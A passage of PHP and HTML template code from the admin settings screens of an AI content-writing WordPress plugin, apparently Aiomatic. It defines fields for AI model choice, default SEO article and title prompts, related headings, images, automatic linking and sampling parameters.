supports shortcodes (ex: 'HTML Text To Append To AI Created Content' settings field), like this: %%my_custom_shortcode%%. Official format is %%name_of_custom_shortcode%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Custom Shortcode Creator (Optional):", 'aiomatic-automatic-ai-content-writer');?></b><span class="tool" data-tip="Supported models: <?php echo implode(',', aiomatic_get_all_models());?>"> ⓘ</span> </td> <td> <textarea rows="2" cols="70" name="custom_shortcodes" id="custom_shortcodes1a" placeholder="shortcode_name => AI_MODEL @@ AI_PROMPT" class="valuesai1a cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The AI writer might add the title of the post to the created post content. Check this checkbox if you want to remove the title from the post content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Strip Title From Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="strip_title1a" name="strip_title" class="valuesai1a"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip spinning of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Spin Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_spin1a" name="skip_spin" class="valuesai1a"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip translating of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Translate Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_translate1a" name="skip_translate" class="valuesai1a"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Run regex on post content. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Regex On Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="valuesai1a cr_width_full" name="strip_by_regex" id="strip_by_regex1a" placeholder="regex expression"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Replace Matches From Regex (Content):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="valuesai1a cr_width_full" name="replace_regex" id="replace_regex1a" placeholder="regex replacement"></textarea> </td> </tr> </table> </div> </div> <div class="codemodalfzr-footer"> <br/> <h3 class="cr_inline">Aiomatic Automatic Post Generator</h3> <span id="aiomatic_ok1a" class="codeokfzr cr_inline">OK </span> <br/><br/> </div> </div> </div> <div id="mymodalfzr1b" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close1b" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("Title Based", 'aiomatic-automatic-ai-content-writer');?></span> <?php echo esc_html__("Advanced Settings", 'aiomatic-automatic-ai-content-writer');?></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table class="responsive table cr_main_table_nowr"> <tr><td colspan="2"> <h3><?php echo esc_html__("AI Assistant Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to use for content creation. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td><select id="assistant_id1b" name="assistant_id" class="valuesai1b cr_width_full" onchange="assistantSelected('1b');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value="" selected'; echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr class="hidetitle"><td colspan="2"> <h3><?php echo esc_html__("Title Based Posting Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr class="hidetitle"><td colspan="2"> <h4><?php echo esc_html__("Post Content - AI Text Generator Options", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr class="hidetitle"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for text generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Text Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="model1b" name="model" class="hideAssistant1b valuesai1b cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetitle"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set list of prompt commands (one on each line) you want to send to OpenAI/AiomaticAPI. This command can be any given task or order, based on which, it will generate content for posts. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); echo ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/' ); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Text Generator:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="ai_command" id="ai_command1b" placeholder="Please insert a command for the AI" class="valuesai1b cr_width_full">Write a comprehensive and SEO-optimized article on the topic of "%%post_title%%". Incorporate relevant keywords naturally throughout the article to enhance search engine visibility. This article must provide valuable information to readers and be well-structured with proper headings, bullet points, and HTML formatting. If needed, you can use WordPress related CSS styling for the article. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. Add an introductory and a conclusion section to the article. You can add also some other sections, when they fit the article's subject, like: benefits and practical tips, case studies, first had experience. Please ensure that the article is at least 1200 words in length and adheres to best SEO practices, including proper header tags (H1, H2, H3), meta title, and meta description. Feel free to use a friendly, conversational tone and make the article as informative and engaging as possible while ensuring it remains factually accurate and well-researched.</textarea> </td> </tr> <tr class="hidetitle"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Select the minimum number of characters that the posts should have. If the API returns content which has fewer characters than this number, another API call will be made, until this character limit is met. Please check about API rate limiting <a href='%s'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://beta.openai.com/docs/api-reference/introduction' ); ?> </div> </div> <b><?php echo esc_html__("AI Content Minimum Character Count:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" step="1" name="min_char" id="min_char1b" value="500" placeholder="Please insert a minimum number of characters for posts" class="valuesai1b cr_width_full"> </td> </tr> <tr class="hidetitle"><td colspan="2"> <h4><?php echo esc_html__("Post Title - AI Text Generator Options (%%ai_generated_title%% shortcode)", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The %%ai_generated_title%% shortcode can be used in the 'Post Title List / TXT File URL / RSS Feed URL' settings field, to get partial or fully AI generated titles.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> </td></tr> <tr class="hidetitle"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for title text generator. You can add this to the post titles, using the %%ai_generated_title%% shortcode.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Title Text Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="title_model1b" name="title_model" class="hideAssistant1b valuesai1b cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetitle"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set list of prompt commands (one on each line) you want to send to AI for generating post titles. This command can be any given task or order, based on which, it will generate content for posts. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); echo ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/' ); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Title Text Generator:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="title_ai_command" id="title_ai_command1b" placeholder="Please insert a command for the AI" class="valuesai1b cr_width_full">Craft an attention-grabbing and SEO-optimized article title for a dental health blog. This title must be concise, informative, and designed to pique the interest of readers while clearly conveying the topic of the article.</textarea> </td> </tr><tr class="hidetitle"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the source of the post title. If you select AI generated, the plugin will create an AI generated title based on keywords you enter in the 'Post Title List' settings field. Otherwise, it will use the titles listed there, for the created posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Title Source:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="title_source1b" name="title_source" class="valuesai1b cr_width_full"> <option value="keyword" selected><?php echo esc_html__("Use The Titles From The 'Post Title List' Settings Field", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ai"><?php echo esc_html__("Fully AI Generated Titles", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hidetitle"><td colspan="2"> <h4><?php echo esc_html__("Rich Content Creation Options", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr class="hidetitle"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of related headings to add to the created post content. This feature will use the 'People Also Ask' feature from Google and Bing. By default, the Bing engine is scraped, if you want to enable also Google scraping, add a SerpAPI key in the plugin's 'Settings' menu -> 'SerpAPI API Key' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Related Headings to Add To The Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" name="headings" id="headings1b" value="" placeholder="Max heading count" class="valuesai1b cr_width_full"> </td> </tr> <tr class="hidetitle"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for headings generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For The Headings Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="headings_model1b" name="headings_model" class="hideAssistant1b valuesai1b cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetitle"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the prompt you will use when searching for related headings. You can use the following shortcodes: %%post_title%%, %%needed_heading_count%%. The same model will be used, as the one selected for content creation. If you leave this field blank, the default prompt will be used: 'Write %%needed_heading_count%% PAA related questions, each on a new line, for the title: %%post_title%%' You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Related Headings AI Generator Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="headings_ai_command" id="headings_ai_command1b" placeholder="Write %%needed_heading_count%% PAA related questions, each on a new line, for the title: %%post_title%%" class="valuesai1b cr_width_full">Generate %%needed_heading_count%% People Also Ask (PAA) related questions, each on a new line, that are relevant to the topic of the post title: "%%post_title%%".</textarea> </td> </tr> <tr class="hidetitle"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of related images to add to the created post content. This feature will use the 'Royalty Free Image' settings from the plugin's 'Settings' menu or if you have access to the DallE API.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Related Images to Add To The Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" name="images" id="images1b" value="" placeholder="Max image count" class="valuesai1b cr_width_full"> </td> </tr> <tr class="hidetitle"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Add a related YouTube video to the end of to the created post content. This feature will require you to add at least one YouTube API key in the plugin's 'Settings' -> 'YouTube API Key List' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add A Related Video To The End Of The Post:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="videos1b" name="videos" class="valuesai1b"> </td> </tr> <tr class="hidetitle"><td colspan="2"> <h4><?php echo esc_html__("Manual Headings and Images List", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr class="hidetitle"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Add a list of headings (one on each line) to use in the generated articles. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Manual List Of Headings:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="headings_list" id="headings_list1b" placeholder="List of headings" class="valuesai1b cr_width_full"></textarea> </td> </tr><tr class="hidetitle"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Add a list of image URLs (one on each line) to use in the generated articles. - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Manual List Of Images:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="images_list" id="images_list1b" placeholder="List of images" class="valuesai1b cr_width_full"></textarea> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Global Prompt Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This will be prepended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prepend Text To All Textual AI Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="global_prepend" id="global_prepend1b" placeholder="Global prompt prepend text" class="valuesai1b cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This will be appended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Append Text To All Textual AI Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="global_append" id="global_append1b" placeholder="Global prompt append text" class="valuesai1b cr_width_full"></textarea> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Automatic Linking Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the linking method to use in posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Automatic Linking Type:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="valuesai1b cr_width_full" id="link_type1b" onchange="hideLinks('');" name="link_type"> <option value="disabled" selected><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="internal"><?php echo esc_html__("Internal Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="manual"><?php echo esc_html__("Manual Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="mixed"><?php echo esc_html__("Mixed Links", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of automatic links to add to created posts. You can also define custom ranges, like: 3-5. Please note that this feature will work best if you already have a considerable number of posts published on your site, which will be used for internal linking.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Automatic Links To Add To The Post Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="max_links" id="max_links1b" placeholder="3-5" class="valuesai1b cr_width_full"> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a manual list of links, where the plugin will create links.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Manual List Of URLs (One Per Line):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" cols="70" name="link_list" id="link_list1b" placeholder="URL list (one per line)" class="valuesai1b cr_width_full"></textarea> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to add nofollow attribute to manually entered, external links?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Nofollow Attribute To Manual Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="link_nofollow1b" name="link_nofollow" class="valuesai1b"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the post types where to create automatic links in posts. You can also add a comma separated list of multiple post types.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Types Where To Generate Automatic Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="link_post_types" id="link_post_types1b" placeholder="post" class="valuesai1b cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Advanced AI Text Generator Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. Note that in this value the number of tokens sent to the API as an article prompt will also be counted. The maximum amount which can be set is 4000. For other models, the maximum is 2048.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Total Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="max_tokens" id="max_tokens1b" value="" placeholder="32768" class="valuesai1b cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of prompt API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 1000.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Prompt Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="max_seed_tokens" id="max_seed_tokens1b" value="" placeholder="1000" class="valuesai1b cr_width_full"> </td> </tr> <tr class="hidetitle"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of continue API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 500.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Continue Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="max_continue_tokens" id="max_continue_tokens1b" value="" placeholder="500" class="valuesai1b cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Temperature:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" step="0.01" max="2" name="temperature" id="temperature1b" value="" placeholder="1" class="valuesai1b cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Top_p:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" max="1" step="0.01" name="top_p" id="top_p1b" value="" placeholder="1" class="valuesai1b cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Presence Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="-2" step="0.01" max="2" name="presence_penalty" id="presence_penalty1b" value="" placeholder="0" class="valuesai1b cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Frequency Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" max="2" step="0.01" name="frequency_penalty" id="frequency_penalty1b" value="" 